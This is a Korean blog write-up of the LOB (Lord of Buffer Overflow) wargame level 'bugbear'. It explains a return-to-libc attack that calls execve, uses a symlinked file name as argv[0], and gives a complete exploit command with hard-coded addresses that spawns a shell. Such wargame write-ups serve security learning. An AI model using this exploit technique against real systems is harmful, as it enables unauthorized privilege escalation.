본문 바로가기
Security/Pwnable

LOB Level 14 bugbear

by J0DEV 2021. 8. 10.
반응형

bugbear -> giant 로 접속합니다.

우선 코드를 보는데

 

rtl을 system함수가 아닌 execve를 사용해서 풀어야하는 문제입니다.

 

 

 

 

우선 execve함수의 주소를 찾아냅니다.

 

 

 

execve를 사용하여 bin/sh를 띄우려면

 

execve("/bin/sh", {"/bin/sh", 0}, 0) 형태가 되어야 합니다....

 

우선 null값의 주소를 구합니다.

 

 

 

 

0xbffffffc 입니다. (모두 0 이네요 ㅎㅎ)

 

그런데 bin/sh와 0을 같이 넣어주어야 합니다.

 

여기서 저는 argv[0]을 생각했습니다.

 

바로 파일명을 심볼릭 함수로 주어서 넣는 거죠 ㅎㅎ

 

 

 

 

파일명은 0xbffffff5부터 시작하네요.

 

아마 실제 파일로 하면 약간의 차이가 있을거라고 예상합니다.

 

bin/sh의 주소를 찾기위해 코딩을 하고 실행합니다.

 

 

 

 

/bin/sh  의 위치는 0x400fbff9 입니다.

 

그럼 모든 주소들을 다 알았군요

 

우선 ln -s 로 /bin/sh의 주소를 공격할 파일의 이름으로 설정합니다.

 

ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'`

 

그리고 공격 코드를 작성해보면

 

./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "\x90"*44 + "\x48\x9d\x0a\x40" + "\x90"*4 + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"

 

여기서 argv[0]의 주소가 0xbffffff7 입니다.

 

(gdb로 까보면 알지만 얼마 차이 안날것 같아서 브루트 포싱으로 0xbffffff5부터 천천히 넣어보니깐 f7에서 되는군요!)

 

 

 

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 16 assassin  (0) 2021.08.10
LOB Level 15 giant  (0) 2021.08.10
LOB Level 13 darkknight  (0) 2021.08.10
LOB Level 12 golem  (0) 2021.08.10
LOB Level 11 skeleton  (0) 2021.08.10